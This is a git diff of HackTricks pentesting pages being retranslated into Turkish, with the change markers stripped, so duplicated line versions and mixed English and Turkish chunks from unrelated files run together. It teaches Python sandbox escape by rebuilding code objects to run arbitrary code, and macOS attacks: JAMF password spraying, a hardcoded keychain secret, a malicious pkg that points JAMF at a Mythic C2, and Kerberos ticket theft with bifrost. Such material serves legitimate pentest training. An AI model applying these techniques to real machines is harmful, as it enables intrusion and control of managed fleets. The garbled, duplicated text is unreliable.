Dikkat edin ki **eğer python sandbox'ında `dis` modülünü içe aktaramıyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) alabilir ve bunu yerel olarak **dağıtabilirsiniz**. Yüklenen değişkenlerin içeriğini göremezsiniz (`LOAD_CONST`) ama bunları (`get_flag.func_code.co_consts`) kullanarak tahmin edebilirsiniz çünkü `LOAD_CONST` ayrıca yüklenen değişkenin ofsetini de belirtir.
Dikkat edin ki **eğer python sandbox'ında `dis` modülünü içe aktaramıyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) alabilir ve bunu yerel olarak **dağıtabilirsiniz**. Yüklenen değişkenlerin içeriğini göremezsiniz (`LOAD_CONST`) ama bunları (`get_flag.func_code.co_consts`) kullanarak tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini de belirtir.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -958,9 +960,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Kod nesnesi oluşturma
### Creating the code object
Öncelikle, **bir kod nesnesinin nasıl oluşturulup çalıştırılacağını** bilmemiz gerekiyor, böylece sızdırılan fonksiyonumuzu çalıştırmak için bir tane oluşturabiliriz:
Öncelikle, **bir kod nesnesi nasıl oluşturulur ve çalıştırılır** bilmemiz gerekiyor, böylece sızdırdığımız fonksiyonu çalıştırmak için bir tane oluşturabiliriz:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -980,7 +982,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
{% hint style="info" %}
Kullandığınız python sürümüne bağlı olarak `code_type`'ın **parametreleri** **farklı bir sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu:
Kullanmakta olduğunuz python sürümüne bağlı olarak `code_type`'ın **parametreleri** **farklı bir sıraya** sahip olabilir. Çalıştırdığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu:
```
import types
types.CodeType.__doc__
@ -991,7 +993,7 @@ types.CodeType.__doc__
### Sızdırılmış bir fonksiyonu yeniden oluşturma
{% hint style="warning" %}
Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. **Gerçek bir örnekte**, fonksiyonu çalıştırmak için gereken tüm **değerler** **sızdırmanız gereken** **`code_type`** olacaktır.
Aşağıdaki örnekte, fonksiyonu doğrudan fonksiyon kodu nesnesinden yeniden oluşturmak için gereken tüm verileri alacağız. **Gerçek bir örnekte**, fonksiyonu çalıştırmak için gereken tüm **değerler** **sızdırmanız gerekenlerdir**.
{% endhint %}
```python
fc = get_flag.__code__
@ -1005,7 +1007,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
Bu yazının başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyle birlikte tam scriptleri** bir **tek satırda** çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabiliriz).\
Bu gönderinin başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyle birlikte tam betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabiliriz).\
Her neyse, bazen bir **derlenmiş nesne** oluşturmak ve bunu **CTF makinesinde** çalıştırmak faydalı olabilir (örneğin, CTF'de `compiled` fonksiyonuna sahip olmadığımız için).
Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
@ -1035,7 +1037,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Eğer `eval` veya `exec` erişiminiz yoksa, **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted modda erişilebilir değil_. Bu nedenle, bu fonksiyonu çağırmak için **kısıtlı ortamda olmayan bir fonksiyona** ihtiyacınız var.
Eğer `eval` veya `exec` erişiminiz yoksa, **doğru bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted mode'da erişilebilir değil_. Bu nedenle, bu fonksiyonu çağırmak için **kısıtlı ortamda olmayan bir fonksiyona** ihtiyacınız var.
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1080,9 +1082,9 @@ bypass edilecektir
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve otomatik istismarları kullanarak temel kanıtları toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -28,7 +28,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
Yönetim platformuna erişmek için **admin kimlik bilgilerini ele geçirmeyi** başarırsanız, makinelerde kötü amaçlı yazılımınızı dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**.
Yönetim platformuna erişmek için **admin kimlik bilgilerini ele geçirirseniz**, makinelerde kötü amaçlı yazılımınızı dağıtarak **tüm bilgisayarları tehlikeye atabilirsiniz**.
MacOS ortamlarında kırmızı takım çalışması için MDM'lerin nasıl çalıştığına dair bir anlayışa sahip olmak şiddetle tavsiye edilir:
@ -38,13 +38,13 @@ MacOS ortamlarında kırmızı takım çalışması için MDM'lerin nasıl çal
### MDM'yi C2 Olarak Kullanma
Bir MDM, profilleri yüklemek, sorgulamak veya kaldırmak, uygulamaları yüklemek, yerel admin hesapları oluşturmak, firmware şifresi ayarlamak, FileVault anahtarını değiştirmek için izne sahip olacaktır...
Bir MDM, profilleri yüklemek, sorgulamak veya kaldırmak, uygulamaları yüklemek, yerel admin hesapları oluşturmak, firmware şifresi ayarlamak, FileVault anahtarını değiştirmek için izinlere sahip olacaktır...
Kendi MDM'nizi çalıştırmak için **CSR'nizin bir satıcı tarafından imzalanması** gerekir, bunu [**https://mdmcert.download/**](https://mdmcert.download/) ile almaya çalışabilirsiniz. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
Kendi MDM'nizi çalıştırmak için **CSR'nizi bir satıcı tarafından imzalatmanız** gerekir, bunu [**https://mdmcert.download/**](https://mdmcert.download/) ile elde etmeyi deneyebilirsiniz. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
Ancak, kayıtlı bir cihazda bir uygulama yüklemek için, yine de bir geliştirici hesabı tarafından imzalanmış olması gerekir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir CA olarak ekler**, böylece artık her şeyi imzalayabilirsiniz.
Ancak, kayıtlı bir cihazda bir uygulama yüklemek için, hala bir geliştirici hesabı tarafından imzalanmış olması gerekir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir CA olarak ekler**, böylece artık her şeyi imzalayabilirsiniz.
Cihazı bir MDM'ye kaydetmek için, **`mobileconfig`** dosyasını root olarak yüklemeniz gerekir, bu bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve Safari'den indirildiğinde açılacaktır).
Cihazı bir MDM'ye kaydetmek için, **`mobileconfig`** dosyasını root olarak yüklemeniz gerekir, bu bir **pkg** dosyası aracılığıyla teslim edilebilir (zip dosyasına sıkıştırabilir ve Safari'den indirildiğinde açılacaktır).
**Mythic agent Orthrus** bu tekniği kullanır.
@ -54,25 +54,27 @@ JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler)
#### JAMF kendi kendine kayıt
`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya giderek **kendi kendine kaydın etkin olup olmadığını** kontrol edin. Eğer etkinse, **erişim için kimlik bilgileri isteyebilir**.
`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya giderek **kendi kendine kayıt** özelliğinin etkin olup olmadığını kontrol edin. Eğer etkinse, **erişim için kimlik bilgileri isteyebilir**.
Bir şifre püskürtme saldırısı gerçekleştirmek için [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanabilirsiniz.
Ayrıca, uygun kimlik bilgilerini bulduktan sonra, diğer kullanıcı adlarını brute-force ile denemek için aşağıdaki formu kullanabilirsiniz:
Ayrıca, uygun kimlik bilgilerini bulduktan sonra, diğer kullanıcı adlarını aşağıdaki form ile brute-force yapabilirsiniz:
![](<../../.gitbook/assets/image (107).png>)
#### JAMF cihaz Kimlik Doğrulaması
#### JAMF cihaz Kimlik Doğrulama
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
**`jamf`** ikili dosyası, keşif anında herkesle **paylaşılan** anahtarı açmak için sırrı içeriyordu ve bu: **`jk23ucnq91jfu9aj`**.\
Ayrıca, jamf **/Library/LaunchAgents/com.jamf.management.agent.plist** içinde bir **LaunchDaemon** olarak **kalır**.
**`jamf`** ikili dosyası, keşif anında herkesle **paylaşılan** anahtar zincirini açma sırrını içeriyordu ve bu: **`jk23ucnq91jfu9aj`**.\
Ayrıca, jamf **/Library/LaunchAgents/com.jamf.management.agent.plist** içinde **LaunchDaemon** olarak **kalır**.
#### JAMF Cihaz Ele Geçirme
**JSS** (Jamf Software Server) **URL'si** **`jamf`** tarafından kullanılacak olan **`/Library/Preferences/com.jamfsoftware.jamf.plist`** içinde yer almaktadır.\
**JSS** (Jamf Software Server) **URL'si** **`jamf`** tarafından kullanılacak olan **`/Library/Preferences/com.jamfsoftware.jamf.plist`** dosyasında bulunmaktadır.\
Bu dosya temelde URL'yi içerir:
{% code overflow="wrap" %}
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
@ -87,7 +89,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
Yani, bir saldırgan, kurulduğunda bu dosyayı **üzerine yazan** kötü niyetli bir paket (`pkg`) bırakabilir ve **URL'yi bir Typhon ajanından bir Mythic C2 dinleyicisine** ayarlayarak JAMF'i C2 olarak kötüye kullanabilir.
Yani, bir saldırgan, yüklendiğinde bu dosyayı **üzerine yazan** kötü niyetli bir paket (`pkg`) bırakabilir ve **URL'yi bir Typhon ajanından bir Mythic C2 dinleyicisine** ayarlayarak JAMF'i C2 olarak kötüye kullanabilir.
{% code overflow="wrap" %}
```bash
@ -115,7 +117,7 @@ Ayrıca, yöneticilerin Jamf aracılığıyla çalıştırmak isteyebileceği **
Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak geçebilir, bu nedenle `ps aux | grep -i jamf` komutunu izlemelisiniz (root olmadan bile).
[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir.
[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) adlı betik, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir.
### macOS Uzaktan Erişim
@ -145,10 +147,10 @@ Size yardımcı olabilecek bazı **yerel MacOS araçları** `dscl` olabilir:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Ayrıca, MacOS için AD'yi otomatik olarak listelemek ve kerberos ile oynamak için hazırlanmış bazı araçlar vardır:
Ayrıca, MacOS için AD'yi otomatik olarak listelemek ve kerberos ile oynamak üzere hazırlanmış bazı araçlar bulunmaktadır:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS hostlarında Active Directory ilişkilerini toplama ve işleme imkanı sağlayan Bloodhound denetim aracının bir uzantısıdır.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'taki Heimdal krb5 API'leri ile etkileşimde bulunmak için tasarlanmış bir Objective-C projesidir. Projenin amacı, hedefte başka bir çerçeve veya paket gerektirmeden yerel API'ler kullanarak macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmaktır.
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplama ve alma imkanı sağlayan Bloodhound denetim aracının bir uzantısıdır.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'taki Heimdal krb5 API'leri ile etkileşimde bulunmak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedefte başka bir çerçeve veya paket gerektirmeden yerel API'ler kullanarak macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmaktır.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory listeleme yapmak için JavaScript for Automation (JXA) aracı.
### Alan Bilgisi
@ -168,9 +170,9 @@ Kullanıcılar ve gruplar hakkında yerel bilgiler _/var/db/dslocal/nodes/Defaul
HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound, Bloodhound veritabanına üç yeni kenar ekler**:
* **CanSSH** - ana makineye SSH bağlantısına izin verilen varlık
* **CanVNC** - ana makineye VNC bağlantısına izin verilen varlık
* **CanAE** - ana makinede AppleEvent betikleri çalıştırmaya izin verilen varlık
* **CanSSH** - ana makineye SSH ile bağlanmasına izin verilen varlık
* **CanVNC** - ana makineye VNC ile bağlanmasına izin verilen varlık
* **CanAE** - ana makinede AppleEvent betikleri çalıştırmasına izin verilen varlık
```bash
#User enumeration
dscl . ls /Users
@ -220,7 +222,7 @@ bifrost --action asktgt --username test_lab_admin \
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
```
Elde edilen hizmet biletleri ile diğer bilgisayarlardaki paylaşımlara erişmeye çalışmak mümkündür:
Elde edilen hizmet biletleri ile diğer bilgisayarlardaki paylaşımlara erişim sağlamaya çalışmak mümkündür:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
@ -255,7 +257,7 @@ Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise, **otomatik
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.

View file

@ -1,33 +1,33 @@
# 4840 - Pentesting OPC UA
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information
## Temel Bilgiler
**OPC UA**, yani **Açık Platform İletişim Birleşik Erişim**, veri alışverişi ve ekipman kontrolü için Üretim, Enerji, Havacılık ve Savunma gibi çeşitli endüstrilerde kullanılan önemli bir açık kaynak protokolüdür. Farklı satıcıların ekipmanlarının, özellikle PLC'lerle iletişim kurmasını benzersiz bir şekilde sağlar.
**OPC UA**, **Açık Platform İletişimi Birleşik Erişim** anlamına gelir, çeşitli endüstrilerde veri alışverişi ve ekipman kontrolü için kullanılan önemli bir açık kaynak protokoldür. Farklı satıcıların ekipmanlarının, özellikle PLC'lerle iletişim kurmasını benzersiz bir şekilde sağlar.
Yapılandırması güçlü güvenlik önlemlerine olanak tanır, ancak genellikle eski cihazlarla uyumluluk için bu önlemler azaltılır ve sistemleri risklere maruz bırakır. Ayrıca, OPC UA hizmetlerini bulmak zor olabilir çünkü ağ tarayıcıları, standart dışı portlarda olduklarında bunları tespit edemeyebilir.
Yapılandırması güçlü güvenlik önlemlerine olanak tanır, ancak genellikle eski cihazlarla uyumluluk için bunlar azaltılır ve sistemleri risklere maruz bırakır. Ayrıca, OPC UA hizmetlerini bulmak zor olabilir çünkü ağ tarayıcıları, standart dışı portlarda olduklarında bunları tespit edemeyebilir.
**Varsayılan port:** 4840
```text
@ -42,7 +42,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Açıkların Sömürülmesi
Eğer kimlik doğrulama atlama açıkları bulunursa, buna göre bir [OPC UA istemcisi](https://www.prosysopc.com/products/opc-ua-browser/) yapılandırabilir ve erişebileceğiniz şeyleri görebilirsiniz. Bu, yalnızca süreç değerlerini okumaktan ağır sanayi ekipmanlarını işletmeye kadar her şeyi mümkün kılabilir.
Eğer kimlik doğrulama atlama açıkları bulunursa, buna göre bir [OPC UA istemcisi](https://www.prosysopc.com/products/opc-ua-browser/) yapılandırabilir ve neye erişebileceğinizi görebilirsiniz. Bu, yalnızca süreç değerlerini okumaktan ağır sanayi ekipmanlarını işletmeye kadar her şeyi mümkün kılabilir.
Erişim sağladığınız cihaz hakkında bir ipucu almak için adres alanındaki "ServerStatus" düğüm değerlerini okuyun ve bir kullanım kılavuzu için Google'da arama yapın.
@ -56,9 +56,9 @@ Erişim sağladığınız cihaz hakkında bir ipucu almak için adres alanındak
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, sömürülebilir açıkları bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik sömürüleri kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, sömürülebilir açıkları bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik sömürüleri kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,25 +1,25 @@
# 512 - Pentesting Rexec
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
<summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -36,7 +36,7 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.

View file

@ -1,37 +1,37 @@
# 9200 - Pentesting Elasticsearch
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
